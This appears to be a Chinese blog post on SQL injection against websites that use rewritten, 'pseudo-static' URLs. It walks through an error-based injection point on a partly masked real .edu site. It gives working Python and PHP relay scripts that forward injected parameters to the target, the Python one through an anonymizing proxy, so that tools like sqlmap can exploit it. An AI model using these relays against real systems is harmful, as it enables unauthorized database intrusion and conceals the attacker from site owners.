3、python指令碼處理偽靜態注入

FLy_鵬程萬里發表於2018-05-17
目前有很多網站做了rewrite.
/?id=1

/1

/1111.php
通常情況下,動態指令碼的網站的url類似下面這樣 http://www.xxoo.net/aa.php?id=123 做了偽靜態之後類似這樣 http://www.xxoo.net/aa.php/id/123.html 總歸大趨勢下,攻擊的門檻逐漸增高。
這樣有利有弊,喜歡研究的會深入鑽研,另一方面只會用工具不懂原理的則充斥到大小論壇水區。 實戰舉例: http://www.bxxxxxxxxxxxx.edu/magazine/index.php/mxxxxia/gallery/dickinsons-last-dance/1 這個點存在注入
Error Number: 1064

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1dddddd, 1' at line 4
標準的顯錯注入。

這裡測試了幾個工具havij http://www.bxxxxxxxxxxxx.edu/magazine/index.php/mxxxxia/gallery/dickinsons-last-dance/1 sqlmap safe3 穿山甲 此上都無法直接注入。 這裡藉助注入中轉實現: 中轉工具有一些   win7下會遭遇各種奇葩問題。並linux下不能使用。 用python  code了一篇,為什麼用python 因為他開發快,不用各種環境。

from BaseHTTPServer import *  
import urllib2  
class MyHTTPHandler(BaseHTTPRequestHandler):  
def do_GET(self):  
path=self.path  
path=path[path.find('id=')+3:]  
proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})  
opener = urllib2.build\_opener(proxy\_support)  
urllib2.install_opener(opener)  
url="http://www.xxxxxxxxxxxxx.edu/magazine/imedia/gallery/dickinsons-last-dance/"  
try:  
response=urllib2.urlopen(url+path)  
html=response.read()  
except urllib2.URLError,e:  
html=e.read()  
self.wfile.write(html)  
server = HTTPServer(("", 8000), MyHTTPHandler)  
server.serve_forever()

不到20行程式碼(並加入了 goagent代理for hidden )。 已經實現了要求。 http://127.0.0.1:8000/?id=1 從而達到目的。相比構造自己指令碼去執行sql注入語句,要高效的多。

給習慣用php的朋友新增一個php指令碼的中轉註入: 可以自定義需要的頭資訊,在需要cookie或者refer等位置都可以方便的新增,新增好後直接訪問zhongzhuan.php?id=1然後就可以放到工具中注入了,十分方便 :)

<?php
set_time_limit(0); 
$id=$_GET["id"]; 
$id=str_replace(" ","%20",$id); 
$id=str_replace("=","%3D",$id); 
$cookie="test";
$url = "http://www.qq.com/index.php/id/{$id}.html"; 
//$postdata = "";

$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, "$url"); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
curl_setopt($ch, CURLOPT_COOKIE, "$cookie");
// curl_setopt($ch, CURLOPT_POST, 1);//post提交方式
// curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);//post的資料
$output = curl_exec($ch); 
curl_close($ch); 
print_r($output);
?>

相關文章